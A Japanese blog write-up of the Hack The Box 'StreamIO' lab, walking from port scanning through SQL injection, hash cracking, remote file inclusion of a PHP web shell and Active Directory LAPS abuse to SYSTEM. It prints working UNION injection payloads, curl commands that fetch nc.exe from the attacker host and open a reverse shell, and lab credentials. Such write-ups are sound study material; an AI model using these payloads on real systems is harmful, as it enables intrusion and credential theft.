家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

【Hack The Box】StreamIO

目次

 

 

 

偵察/スキャン

nmapでスキャンします。

「nmap -p- 10.10.11.158」の結果よりいくつかのポートが開いていることが確認できます。

上記の結果を踏まえ、開いているポートに対してさらにnmapで調査を行います。

┌──(kali㉿kali)-[~/htb/streamio]
└─$ sudo nmap -sC -sV -A -O -p53,80,88,135,139,389,443,445,464,593,636,3268,3269,5985,9389,49667,49673,49674,49704,49730 10.10.11.158 -Pn
Starting Nmap 7.94SVN ( https://nmap.org ) 
Nmap scan report for 10.10.11.158
Host is up (0.19s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-08-20 20:10:48Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
443/tcp   open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| tls-alpn: 
|_  http/1.1
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: 2024-08-20T20:12:29+00:00; +7h00m01s from scanner time.
|_http-title: Not Found
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Not valid before: 2022-02-22T07:03:28
|_Not valid after:  2022-03-24T07:03:28
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49704/tcp open  msrpc         Microsoft Windows RPC
49730/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (88%)
Aggressive OS guesses: Microsoft Windows Server 2019 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 7h00m00s
| smb2-time: 
|   date: 2024-08-20T20:11:47
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

TRACEROUTE (using port 445/tcp)
HOP RTT       ADDRESS
1   182.61 ms 10.10.14.1
2   184.29 ms 10.10.11.158

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

各ポートについて、より詳細に確認していきます。

 

TCP/80の調査

ブラウザでアクセスしましたがコンテンツはありませんでした。

IISデフォルトページ

 

 

TCP/443の調査

ブラウザでアクセスすると以下のような画面が表示されます。

ブラウザでアクセスした様子

また、ログインができるようです。

ログイン画面

現在はログイン情報を持っていません。
また、証明書から別のホスト名を確認できます。

証明書の確認

アクセスすると以下のような画面が表示されます。

wtach.streamio,htb

gobusterでsearch.phpが見つかります。

┌──(kali㉿kali)-[~/htb/streamio]
└─$ gobuster dir --url https://watch.streamio.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -x php -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://watch.streamio.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/Index.php            (Status: 200) [Size: 2829]
/Search.php           (Status: 200) [Size: 253887]
/blocked.php          (Status: 200) [Size: 677]
/favicon.ico          (Status: 200) [Size: 1150]
/index.php            (Status: 200) [Size: 2829]
/index.php            (Status: 200) [Size: 2829]
/search.php           (Status: 200) [Size: 253887]
/static               (Status: 301) [Size: 157] [--> https://watch.streamio.htb/static/]
Progress: 9454 / 9454 (100.00%)
===============================================================
Finished
===============================================================

アクセスすると以下のような画面が表示されます。

このページではSQLiの脆弱性があります。
「test」を入力し検索すると以下の結果を得ます。

「test」の結果

 

上記より、DBクエリが以下のようなものであることを推測します。

select * from movies where title like '%[input]%';

通常通り「man」を検索すると、「man」の前後に文字列がある結果が返されます。
SQLiに脆弱な場合、「man';– -」を入力すると「~man」で終わる結果が返されることが想定されます。

「man」の結果

「man'; --」の結果

上記より、コメントが機能していることが確認でき、SQLiに脆弱であることが確認できます。


次にunionを試してみます。
列数を知るために、「a' union select 1;--」から徐々に数を増やし結果を確認します。「a' union select 1,2,3,4,5,6;--」で以下の結果となり、列数が6であることがわかります。

列数の確認結果

SQLのバージョンを確認します。

a' union select 1,@@version,3,4,5,6;--

バージョン情報の確認

 

次にテーブル情報を取得します。

a' union select 1,table_name,3,4,5,6 from information_schema.tables --

「movies」、「users」のテーブルの存在が確認できます。

テーブル情報の確認

「users」テーブルのカラムを取得してみます。

uwu' union select 1,column_name,3,4,5,6 from information_schema.columns where table_name= 'users' --

 

「user」テーブルより「username」と「password」を取得します。

a' union select 1,concat(username,':',password),3,4,5,6 from users --

実行結果

 

上記の結果を保存し、ユーザ名/パスワードに分けて解析に使用します。

結果の保存

上記の結果をawkで分割します。

cat hash | awk -F: '{print $2}' > password.txt

パスワードのファイルをhashcatで解析します。

hashcat実行結果

上記アカウントのうち「yoshihide/66boysandgirls..」で先程のログインページでログインが可能です。

さらに/adminにもアクセスができます。

 

「Admin panel」到達

 

Admin panelにはGetリクエストのパラメータがあるようです。

 

パラメータを列挙します。
このページはログイン後のページなので現在のセッションIDを使用します。

sessionID

 

wfuzz -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -u 'https://streamio.htb/admin/?FUZZ' -b 'PHPSESSID=a47velorhkodvhmrji7vhsfdun' --hh 1678

※--hhは無視するレスポンス長

 

Getパラメータの取得
 

上記より「debug」というパラメータを取得できます。

 

以下のリクエストで「master.php」を読み取ります。

https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php

master.php読み取り

デコード

 

上記の内容をデコードするとソースの内容が確認できます。

ソースコード(抜粋)

POSTでeval()が使用されている箇所

eval()関数は文字列をPHPコードとして実行するため、ユーザーからの入力がそのまま実行される可能性があります。その為、悪意のあるユーザーが任意のコードを実行することができます。

上記実証の為にtest.phpとして以下の内容を記載したファイルを作成します。

system($_GET['cmd']);

 

上記ファイルをホストした状態で以下のコマンドを実行すると、コマンドが動作することが確認できます。

curl -X POST 'https://streamio.htb/admin/?debug=master.php&cmd=dir' -k -b 'PHPSESSID=a47velorhkodvhmrji7vhsfdun' -d 'include=http://10.10.14.5:80/test.php'

 

コマンドの動作確認

 

アクセス取得

上記を使用してアクセスを取得します。

kaliでncをホストおよび待ち受けた状態で以下のコマンドを実行します。

 

curl -X POST 'https://streamio.htb/admin/?debug=master.php&cmd=curl+10.10.14.5:80/nc64.exe+-o+C:\Windows\Temp\nc.exe' -k -b 'PHPSESSID=a47velorhkodvhmrji7vhsfdun' -d 'include=http://10.10.14.5:80/test.php'

 

curl -X POST 'https://streamio.htb/admin/?debug=master.php&cmd=C:\Windows\Temp\nc.exe+10.10.14.5+4444+-e+cmd.exe' -k -b 'PHPSESSID=a47velorhkodvhmrji7vhsfdun' -d 'include=http://10.10.14.5:80/test.php'

 

「yoshihide」のシェルが取得できました。

アクセスの取得

 

yoshihideではuserフラグを取得できませんでした。

以下のコマンドよりDBにアクセスするための情報が確認できます。

DBの接続情報の確認

上記の情報を使用してDBにアクセスしてみます。

sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "select table_name from streamio_backup.information_schema.tables;"

sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "select * from users;"

 

コマンド実行結果

複数ユーザ名とパスワードハッシュ値の組み合わせを取得できました。

hashcat実行結果

hashcatで解析するとnikk37のアカウント情報が取得できます。

上記アカウントでEvi-WinRMを使用することでuserフラグを取得できます。

user.txt

権限昇格

インストールされているプログラムの中にFirefoxがあります。

lsの結果

nikk37のプロファイルも確認できます。

Firefoxのプロファイルデータ

Firepwdでパスワードを抽出します。
プロファイルから「key4.db」と「logins.json」をkaliにコピーしてFirepwdを使用するとSlack に保存されている 4 つのパスワードが見つかります。

github.com

 

実行結果

 

上記の「JDgodd」のアカウントを使用してBloodhoundで情報を収集します。

bloodhound-python -c All -u jdgodd -p 'JDg0dd1s@d0p3cr3@t0r' -ns 10.10.11.158 -d streamio.htb -dc streamio.htb --zip

 

Bloodhoudを起動しデータベースをクリアして上記のzipをアップロードします。

メモ:bloodhound初期化作業

bloodhound・・・Bloodhoundの起動

MATCH (n) DETACH DELETE n・・・データベースのクリア(RAW Query内)

 

JDGOODの権限

JDgoddにはOUTBAOUND OBJECT CONTROL権限が1つあることがわかります。

さらにその先のCORESTAFFより、DCに対してローカル管理者のパスワード管理機能である「ReadLAPSPassword」が確認できます。

CORESTAFFの権限

PowerView.ps1をアップロードし、JDgoddをCORESTAFFに追加します。
LDAPよりLAPSのパスワード(ms-MCS-AdmPwd)を取得できます。

権限の追加

LAPSパスワード確認

上記のアカウント情報で再度Evil-WinRMでアクセスすることでSYSTEM権限を取得できました。

SYSTEM権限取得

 

参考にさせていただいたサイト

arz101.medium.com

0xdf.gitlab.io